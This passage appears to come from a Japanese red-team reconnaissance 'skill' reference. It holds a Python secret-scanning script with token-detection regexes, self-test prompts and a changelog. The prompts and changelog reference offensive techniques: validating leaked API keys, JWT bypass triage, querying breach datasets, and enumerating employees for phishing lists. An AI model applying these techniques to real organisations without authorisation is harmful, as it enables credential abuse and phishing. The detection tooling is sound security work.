("SLACK_APP_LEVEL_TOKEN",SEV_HIGH, "slack", r"\bxapp-1-[A-Za-z0-9\-]{20,}\b"),
# Dropbox
("DROPBOX_SHORT_LIVED", SEV_MEDIUM, "oauth", r"\bsl\.[A-Za-z0-9_\-]{130,140}\b"),
# Secrets managers — Doppler / HashiCorp Vault
("DOPPLER_TOKEN", SEV_CRITICAL, "secrets_mgmt", r"\bdp\.pt\.[A-Za-z0-9]{40,44}\b"),
("VAULT_TOKEN", SEV_CRITICAL, "secrets_mgmt", r"\bhvs\.[A-Za-z0-9_\-]{90,100}\b"),
# Firebase Cloud Messaging legacy server key (mobile-recon relevant, §21.1)
("FCM_SERVER_KEY", SEV_HIGH, "firebase", r"\bAAAA[A-Za-z0-9_\-]{7}:[A-Za-z0-9_\-]{140,}\b"),
]
COMPILED = [(n, s, c, re.compile(p)) for (n, s, c, p) in PATTERNS]
def scan_text(text: str, source: str = "<stdin>"):
"""Scan a text blob; yield one dict per match."""
for line_no, line in enumerate(text.splitlines(), start=1):
for name, sev, cat, rx in COMPILED:
for m in rx.finditer(line):
yield {
"pattern": name,
"severity": sev,
"category": cat,
"match": m.group(0)[:80], # truncate to avoid huge dumps
"source": source,
"line": line_no,
}
def scan_path(path: str):
"""Recursively scan a file or directory."""
if os.path.isdir(path):
for root, _, files in os.walk(path):
# Skip common noisy directories
if any(part in root for part in (".git", "node_modules", "__pycache__", ".venv", "venv", "dist", "build", ".cache")):
continue
for f in files:
p = os.path.join(root, f)
yield from scan_path(p)
return
try:
# Skip large binary files (>10MB)
if os.path.getsize(path) > 10 * 1024 * 1024:
return
with open(path, "r", errors="replace") as fh:
yield from scan_text(fh.read(), source=path)
except (OSError, IOError):
return
def main():
if len(sys.argv) > 1:
if sys.argv[1] in ("-h", "--help"):
print(__doc__)
sys.exit(0)
for arg in sys.argv[1:]:
for hit in scan_path(arg):
print(json.dumps(hit))
else:
# Read from stdin
try:
data = sys.stdin.read()
except KeyboardInterrupt:
sys.exit(0)
for hit in scan_text(data):
print(json.dumps(hit))
if __name__ == "__main__":
main()
secret_scan.py として保存し、次を実行します。
python3 secret_scan.py path/to/repo/ # scan a directory tree
python3 secret_scan.py file1 file2 file3 # scan specific files
cat my.log | python3 secret_scan.py # pipe stdin
出力は JSONL 形式で、1 行につき 1 件の検出結果です。フィルタリング用に jq へ、または検出結果ストアへ直接、簡単に渡せます。
49. スキルのセルフテスト
スキルが正しく読み込まれることを確認するには、これらのプロンプトを新しい Claude セッションに入力します。
- 「Web アプリで Swagger または OpenAPI の仕様を見つけるには、どのパスを調べればよいですか?」 → §16.1。
- 「POST する GraphQL イントロスペクションクエリを教えてください。」 → §16.2。
- 「Shodan のスキャンで注意すべき高リスクポートは何ですか?」 → §16.3。
- 「シークレットの正規表現カタログを見せてください。」 → §17(80 パターン)+ §48(実行可能な Python)。
- 「攻撃対象としての関心度に基づいて API エンドポイントをスコアリングするにはどうすればよいですか?」 → §20。
- 「漏えいした Postman API キーを検証するには、どの URL を使えばよいですか?」 → §23.1。
- 「ターゲットの pastebin/gist/ghostbin での漏えいを探すための dork を教えてください。」 → §18.3。
- 「Microsoft Entra テナントを特定できるエンドポイントは何ですか?」 → §22.1 + M365 の詳細は §22.8。
- 「発見した Android アプリがターゲットのものかどうかをスコアリングするにはどうすればよいですか?」 → §21。
- 「
/api/usersで認証なしの POST を見つけた場合、どのような攻撃経路が考えられますか?」 → §39(最初の行)。 - 「
/actuator/envをテストする curl のワンライナーを教えてください。」 → §16.13。 - 「イントロスペクションが無効な場合に、GraphQL のフィールド候補を列挙する方法を見せてください。」 → §22.9。
- 「JS にハードコードされた JWT を見つけました。完全なトリアージの手順を教えてください。」 → §23.12(JWT ワークフロー)。
- 「
Targetのサブドメイン api/billing/hr を使って、クラウドバケットの候補を生成してください。」 → §16.8。 - 「Microsoft 365 の Teams フェデレーションの状態と SharePoint サブドメインを調べるにはどうすればよいですか?」 → §22.8。
- 「Citrix Netscaler / F5 BIG-IP / Pulse Secure のパスを調べてください。」 → §16.16。
- 「
target.exampleで Cloudflare の背後にあるオリジンを見つけてください。」 → §16.15 + 関連する手法 §27。 - 「Kubernetes/etcd/kubelet の露出を調べるには、どのポートやパスを確認すればよいですか?」 → §16.18。
- 「
acme.comの SPF/DMARC を監査し、なりすましが可能か調べてください。」 → §16.14。 - 「サブドメインのブルートフォースとコンテンツ探索に使えるワードリストの入手先を列挙してください。」 → §27.1。
- 「ターゲットが所有する /22 全体で逆引き DNS スイープを実行してください。」 → §28.5。
- 「クォータを消費せずに OpenAI API キーを検証してください。」 → §23.6 + §23.12。
- 「ターゲットの npm/PyPI/Docker Hub 全体で漏えいしたシークレットを探してください。」 → §44。
- 「フィッシング用リストを作成するため、LinkedIn でターゲットの従業員を列挙するにはどうすればよいですか?」 → §41。
- 「Slack の招待リンクを列挙する一般的な手法は何ですか?」 → §43.1。
- 「CVE-2024-3400 の EPSS スコアと KEV のステータスは何ですか?」 → §29.2。
- 「最新の AI API キー(Anthropic / OpenAI / HuggingFace / Cloudflare)に一致するカタログパターンは何ですか?」 → §17 の 30~48 行。
- 「本番アプリで
android:debuggable=trueの場合の重大度マトリックスを教えてください。」 → §40。 - 「標準的な偵察ツールキット(subfinder/httpx/nuclei など)のインストールコマンドを教えてください。」 → §46。
- 「医療分野のエンゲージメントで重要となる追加のポートやプロトコルは何ですか?」 → §47.1。
- 「直接 API を使って、
target.comの HudsonRock の侵害データセットを取得してください(UI は使わずに)。」 → §15.0.1。 - 「Windows マシンで §16.14 のメールセキュリティ監査をすべて実行してください(PowerShell)。」 → §16.14 の PowerShell 並列処理。
- 「crt.sh が 502 エラーを返しました。代替手段の順序を教えてください。」 → §27.0.1。
- 「bgpview のレート制限に達することなく、200 個の IP を一括で ASN に照会してください。」 → §28.1(Cymru の一括照会)。
- 「
target.exampleで vpn / api / staging / portal / intranet を対象に、共通プレフィックスによるサブドメインスイープを実行してください。」 → §16.24。 - 「以前のメールホスト(
mail.<domain>)は現在 NXDOMAIN ですが、侵害データセットにはそのホストに対する従業員 URL があります。これは何を示していますか?」 → §15.2 のレガシーメール廃止パターン。 - 「MX が Mimecast を経由しているため、MX レコードから背後のメールプラットフォームが分からない場合に、M365 テナントであることを確認してください。」 → §22.1 の autodiscover IP 相関 + §16.22 の確認手段としての autodiscover。
- 「DMARC の RUA が
kdmarc.comを指しています。これは何を示していますか?」 → §16.14 の DMARC レポートベンダーの表。 - 「SharePoint の HEAD プローブが HTTP 200 を返します。匿名アクセスが許可されているという意味ですか?」 → §22.8(いいえ。テナントの存在を示すだけで、匿名アクセスが許可されているわけではありません。区別してください)。
- 「Wayback の
*.jsクエリで、パンフレット型サイトの結果が空でした。次に何を調べればよいですか?」 → §16.23 のレガシーアプリへのピボット(.asp / .php / .jsp / .cfm / .aspx)。 - 「リポジトリで漏えいした GitLab / Shopify / Databricks / Okta / Vault トークンを見つけました。カタログに含まれていますか?」 → §17 の 49~80 行(プロバイダーの拡張)+ §48。
- 「ターゲットの Android APK を取得し、静的解析する手順を教えてください。」 → §21.1(取得 → デコンパイル → マニフェスト/ディープリンク/Firebase の抽出 → §17 のシークレットスキャン → 検出事項)。
50. Changelog
- v2.2 (2026-08-06) — §17のシークレットカタログを48件から80件へ拡張しました(#49~80)。§17 ↔
scripts/secret_scan.py↔ §48の三者間の一致は維持しています。49行目(Postman PMAK)では、参照実装のmodules/secrets_beyond_github.py::_RE_PMAKに基づき、実際に存在していた抜けを解消しました。§23.1ではPMAKキーをすでに検証していましたが、カタログには検出用正規表現がありませんでした。50~80行目では、プロバイダーを拡充しました。GitLab、Square(2件)、Shopify(2件)、Mailchimp、PagerDuty、Asana、Databricks、Grafana(2件)、Terraform Cloud、Fastly、Algolia、Segment、Airtable(2件)、GCP/Google OAuth(3件)、Azure AD/Entra、Facebook OAuth、RubyGems、JFrog/Artifactory、Okta(2件)、Slackのアプリレベル、Dropbox、Doppler、HashiCorp Vault、Firebase Cloud Messagingのレガシーサーバーキーを追加しています。それぞれ、単独で識別できるプレフィックスを使った正規表現か、既存の§17 #35 Cloudflareパターンと同様にコンテキストに固定したパターンです。そのため、汎用トークンだけで誤検出が大量発生することはありません。出典について:参照実装の専用カタログdorking/secrets.py(33パターン)は、v2.2以前の48パターンですでに網羅されている厳密なサブセットであり、直接的に新規プロバイダーを追加するものはありませんでした。新しい32パターンは、数をきりよくそろえるために無理に追加したのではなく、プロバイダーで広く知られ、業界標準となっているトークン形式のシグネチャです。自己検証用の合成フィクスチャで検証し、32件すべてを検出し、通常の文章では誤検出がありませんでした。modules/mobile_attack_surface.pyに基づき、Mobile App Ownership Confidenceの新しい小節として§21.1 APK静的解析パイプラインを追加しました。取得方法(Play/APKPure/APKMirror/手動IPA)、apktool/aapt2/jadxによる逆コンパイルと、ツールチェーン不要の代替手段であるandroguard、AndroidManifestの解析(実質的にエクスポートされているかの判定、debuggable/allowBackupのデフォルトtrue/usesCleartextTraffic、カスタム権限のprotectionLevel)、ディープリンク/intent-filterの抽出(App Linksと乗っ取り可能なカスタムスキームの区別)、Firebase/GCP設定の抽出(google-services.json/GoogleService-Info.plist。ライブバックエンドの確認は別の手順であることを明記(§16.8))、逆コンパイルしたテキストに対して§17/§48をそのまま再利用する埋め込みシークレットのスキャン、Network Security Configの確認(cleartextTrafficPermitted、ピンニングをひそかに無効化するユーザー指定の信頼アンカー)を追加しました。これは、参照実装独自のパイプラインでは解析済みの検査ではなく参考情報としてしか扱われていなかった抜けです。受動的な静的解析のみで、動的計測は行いません。§46.9のツール一覧に、apktool/aapt2/jadxのインストールコマンド(bashおよびWindowsのパス)を追加しました。§49のセルフテストに#41(プロバイダー拡張カタログ)と#42(APKパイプラインの手順)を追加しました。検証結果:scripts/secret_scan.pyのコンパイルが成功し、--helpが終了コード0で終了しました。自己検証用の合成フィクスチャでは新しい32パターンすべてを検出し、通常の文章ではヒットがなく、§17の行数/スクリプトのPATTERNS数/§48に埋め込まれた件数がすべて80で一致しています。 - v2.1.2 (2026-08-06) — ヘルパーとカタログの一致を修正しました。§48の実行可能な
secret_scan.pyにずれがありました。埋め込まれたコピーには基本パターン29件しか含まれておらず(古い「29-pattern catalog」というdocstring)、§17に記載された48件と一致していませんでした。§48を、同梱されているscripts/secret_scan.pyとバイト単位で一致するように再同期し、これまで欠落していたカタログ項目である§17 #35 Cloudflare API Tokenを実装しました。裸の40文字のトークンで誤検出が大量発生しないよう、コンテキストに固定した正規表現((?i)(?:cloudflare|x-auth-key)…{40})を使い、ヘルパーを正しく48/48件にしました。検証結果:コンパイルが成功し、--helpが終了コード0で終了しました。合成フィクスチャではすべてのパターンを検出し、通常の文章では誤検出がありません。 - v2.1.1 (2026-04-27) — 実際のエンゲージメントでのスモークテストを通じて見つかった実運用上の抜けを修正しました。追加内容:§15.0.1にHudsonRock Cavalierの直接API利用手順(curlとPowerShell、完全なJSON形式、無料プランでのマスキングに関する注意、レート制限のガイダンス)を追加しました。§15.2に、レガシーメール廃止時のエスカレーションパターン(NXDOMAINとなるレガシーメール+侵害コーパス+Autodiscoverで確認されたクラウド移行 → CRITICAL SSO_EXPOSURE)を追加しました。§16.14を拡張し、DMARCレポートベンダーの表(Kratikal kdmarc/dmarcian/Valimail/Agari/EasyDMARC/DMARC Analyzer/Postmark)、メールセキュリティ監査全体に対応するWindows/PowerShell版、PS 5.1の
Resolve-DnsName -Type CAAはエラーになるという注意(PS 7以降またはnslookup -type=CAAを使用)を追加しました。§16.22のTXT検証トークンカタログに17個の新しいトークン(zscaler-verification、cloudflare-verify、autosect、cisco-site-verification、mscid、_amazonses、salesforce-domain-verification、workday/shopify/klaviyo/mailchimp/hubspot/zendesk/freshworks/intercom/loom/miro/gitlab)を追加し、MXがMimecast/Proofpoint/Barracudaでラップされている場合にM365を検出する新しい「Autodiscoverによる確認」パターンを追加しました。§22.1に、Microsoft Exchange OnlineのIP範囲を使った受動的なAutodiscover IP相関パターンを追加しました。§22.8に明確化を追加しました。SharePointのHEAD HTTP 200はテナントの存在を示すものであり、匿名アクセスが許可されたことを示すものではありません(オペレーターがよく誤読します)。Waybackの*.jsがパンフレットサイトで空の結果を返す場合に、.asp/.php/.jsp/.cfm/.aspx/.json/.xml/.yml/.ini/.confへ切り替える新しい§16.23レガシーアプリ・ピボットブロックを追加しました(広範囲を一括検索するワンライナーも掲載)。新しい§16.24 Common-Prefix Subdomain Sweepでは、100件以上のプレフィックスを順序付きで掲載し、PowerShell/bash/purednsの手順と実際のエンゲージメントでの検証結果をまとめ、受動的な列挙では価値の高いサブドメインを20~40%見落とすため、常に能動的なプレフィックスプローブと組み合わせるよう明記しました。§27.0.1にcrt.shのフォールバックチェーン(Censys、CertSpotter、Calidog、Subfinder、OTX、ThreatMiner、URLScan、Anubis-DB)を追加し、crt.shを3回再試行してからSubfinderにフォールバックするPowerShellラッパーも掲載しました。§28.1にIPからASNを一括取得する手順(Cymruの一括WHOIS、RIPEstat、bgp.tools、IPinfo Lite)を追加し、bgpview.io APIはレート制限が厳しく、一括処理には適さないと注意を加えました。§40の重大度マトリックスに8行を追加しました。公開されたベンダー調達ポータル+侵害コーパスでのヒット(HIGH)、平文HTTPでPIIを収集するポータル(HIGH)、廃止されたレガシーメール+侵害情報+クラウド移行(CRITICAL)、VPNなしで外部公開されているイントラネット(MEDIUM)、ステージング/プレプロダクション環境が公開DNSで解決可能(MEDIUM)、vpn.が解決されるがベンダー不明(INFO。KEVとの一致でHIGH~CRITICALへエスカレーション)、DMARC RUAがサードパーティベンダーを指す場合(INFO)です。§49のセルフテストを30件から40件へ拡張し、新しい内容すべてを対象にしました。 - v2.1 (2026-04-27) — 32件のテストによるスモークテストでのギャップ分析に基づき、大幅に拡張しました。追加内容:§16.13のすべての検査にコピペ可能なcurlプローブ、SPF/DMARC/DKIM/BIMI/MTA-STS/DNSSECの解析とSaaSテナント推定を含むメールセキュリティ分析(§16.14)、DNS履歴+証明書SAN+ファビコンハッシュ+JARM+Hostヘッダープローブによるオリジン検出/CDNバイパス(§16.15)、KEV CVEとの関連付けを含むCitrix/F5/Pulse/Fortinet/PaloAlto/Cisco/VMware/Exchangeのベンダー製品フィンガープリント(§16.16)、Lambda Function URLs、Cloud Run、Cloud Functions、Azure Functions、Vercel、Netlify、Cloudflare WorkersなどのクラウドネイティブサービスURLフィンガープリント(§16.17)、kubelet、etcd、K8s API、ダッシュボード、Helm Tiller、コンテナレジストリなどのコンテナ/Kubernetes露出(§16.18)、Jenkinsの詳細、GitLab、GitHub Actions、CircleCI、TeamCity、Argo CD、SpinnakerなどのCI/CDプラットフォーム露出(§16.19)、Notion、Confluence、Trello、Miro、Lucidchart、Figma、ReadTheDocs、GitBook、Slab、Codaなどのドキュメント/Wiki漏えいパス(§16.20)、WHOIS/RDAP/過去のWHOISの手順と逆引きWHOISによるピボット(§16.21)、SaaSテナント推定につながるTXT検証トークン表付きのDNSレコードカタログ(§16.22)、すべてのフィルターパラメーターを含むWayback CDXの詳細な利用方法(§16.23)を追加しました。§17のシークレットカタログを29パターンから48パターンへ拡張し、最新のAI APIキー(Anthropic、OpenAIのレガシーキーとプロジェクトキー、HuggingFace)、インフラ(Cloudflare、DigitalOcean)、パッケージレジストリ(npm、PyPI、Docker Hub)、SaaS(Atlassian、Linear)、可観測性(New Relic、DataDog、Sentry DSN)、ボットトークン(Discord、Telegram)、ngrokを追加しました。§18のdorkコーパスを50件以上から80件以上へ拡張し、内部ツールの露出(Splunk/Grafana/Kibana/Argo CD/Sonarqube/Confluence/Jira/GitLab/Gitea)、バックアップファイルの拡張子、業種別のdork(医療/金融/政府)を追加しました。§22.8にMicrosoft 365の詳細な列挙(Teamsのフェデレーション、SharePointのサブドメインプローブ、OneDriveの個人サイトプローブ、OAuth client_idの検出、デバイスコードフィッシングの標的チェック、Power Platform)を追加しました。§22.9にGraphQLのフィールドサジェスチョンを使った列挙手順と、エイリアスのバッチ処理、クエリ深度のバイパス、サブスクリプションの列挙、バッチクエリのバイパスを追加しました。Anthropic、OpenAI、npm、Atlassian、DataDog向けの読み取り専用バリデーターを§23.5~23.9に追加しました(新規5件)。§23.12に発見後の列挙ワークフロー(AWS IAM列挙、GitHub PATのスコープ/リポジトリ列挙、Slackワークスペース列挙、アルゴリズム混同+ブルートフォース+noneバイパスを含むJWTの完全なトリアージ、Postman PMAKワークスペース列挙、Anthropic+OpenAIの利用状況列挙、汎用キーの由来列挙)を追加しました。§24のPostman検索エンドポイントを検証済みの形式で固定し、DevToolsを使ったフォールバック手順も追加しました。§27.1にワードリストの入手先(Assetnote、SecLists、jhaddix、OneListForAll、raft-large-words、fuzzdbなど)とサイズのガイダンスを追加しました。§28.4にTLSの詳細監査(sslyze+testssl.sh+nmap+JA3/JA4+暗号スイート/プロトコル/証明書の検査)を追加しました。§28.5に逆引きDNSスイープ+IPv6列挙+BGPルートの観測を追加しました。§29.2に脆弱性の優先順位付けに使うデータソース(NVD/EPSS/CISA KEV/ExploitDB/Metasploit/InTheWild/OpenCVE/Trickest CVE+POC mapping/OSV.dev/VulnCheck KEV)と一括で優先順位を付けるワークフローを追加しました。§39の攻撃パスのヒントに、公開されたkubelet/etcd、K8s APIの匿名アクセス、未認証のCitrix/F5/vCenter/Cloud Function、npmのタイポスクワッティング、DMARCの欠落、使用可能なAIキー、Slack招待、sourcesContentを含むソースマップなど、テンプレートを15件追加しました。§40の重大度マトリックスに、Kubernetes/コンテナ、KEV CVEがあるベンダー製品、M365/クラウドネイティブ、CI/CDの設定ミス、ドキュメントの漏えい、メールセキュリティの欠落、AI/パッケージレジストリの認証情報、TLSの問題を含む具体例を30件追加しました。§41にLinkedInで従業員を列挙する手法(検索手法、役職の推定、メールパターンの導出、偽アカウントに関する考慮事項)を追加しました。§42に求人情報を使った技術スタック分析(情報源、抽出、ツール)を追加しました。§43にSlack/Discord/Telegram/Mattermostのワークスペース検出を追加しました。§44にパッケージレジストリの漏えい調査(npm/PyPI/RubyGems/Cargo/Packagist/NuGet/Maven Central、ワークフロー、タイポスクワッティングの監視)を追加しました。§45に物理的な偵察のための衛星画像(情報源、抽出、LinkedIn/Glassdoor/Instagram/カンファレンスの情報、車両/車両群の情報)を追加しました。§46にツールのクイックインストール(サブドメイン、HTTPプロービング、脆弱性スキャン、コンテンツ検出、JS抽出、Wayback、クラウド、ID、モバイル、TLS、ユーティリティ、フレームワーク)を追加しました。§47に業種別の偵察に関するメモ(医療のDICOM/HL7/FHIR/EHR、金融のSWIFT/FIX/Bloomberg/銀行ミドルウェア、ICS-SCADAのModbus/BACnet/S7/DNP3、IoTのMQTT/CoAP/UPnP、政府のFedRAMP/FISMA、海運/航空/自動車)を追加しました。Runnable Helperを§48、Self-Testを§49(v2.1向けに更新)、Changelogを§50に変更しました。
- v2.0 (2026-04-27) — 外部レッドチーム向けの大幅な書き換えを行いました。ワードリスト(§16)、29パターンのシークレットカタログ(§17)、50件以上のdorkコーパス(§18)、GitHubコード検索用dork(§19)、エンドポイント関心度スコア(§20)、モバイルアプリの所有者確度(§21)、IDファブリックの具体的なエンドポイント(§22)、読み取り専用シークレットバリデーター(§23)、Postmanワークスペース検索(§24)、Stack Exchangeスイープ(§25)、公開SaaS向けdork(§26)、サブドメイン情報源の構成(§27)、ドメイン単位の侵害重大度(§15.1)、L2エクスプローラー表(§30.2)、USCC+ICPワークフロー(§14.2)、モジュール間のサイドカー連携(§36)、攻撃パスのヒントのパターン(§39)、重大度の判断マトリックス(§40)、実行可能なシークレットスキャンヘルパー(§41)を追加しました。確度レベル(§2)、出力形式(§3)、禁止事項(§5)を強化しました。元のツール表は維持し、軽く再編成しました。
- v1.x — 当初のツールリファレンス・チートシート。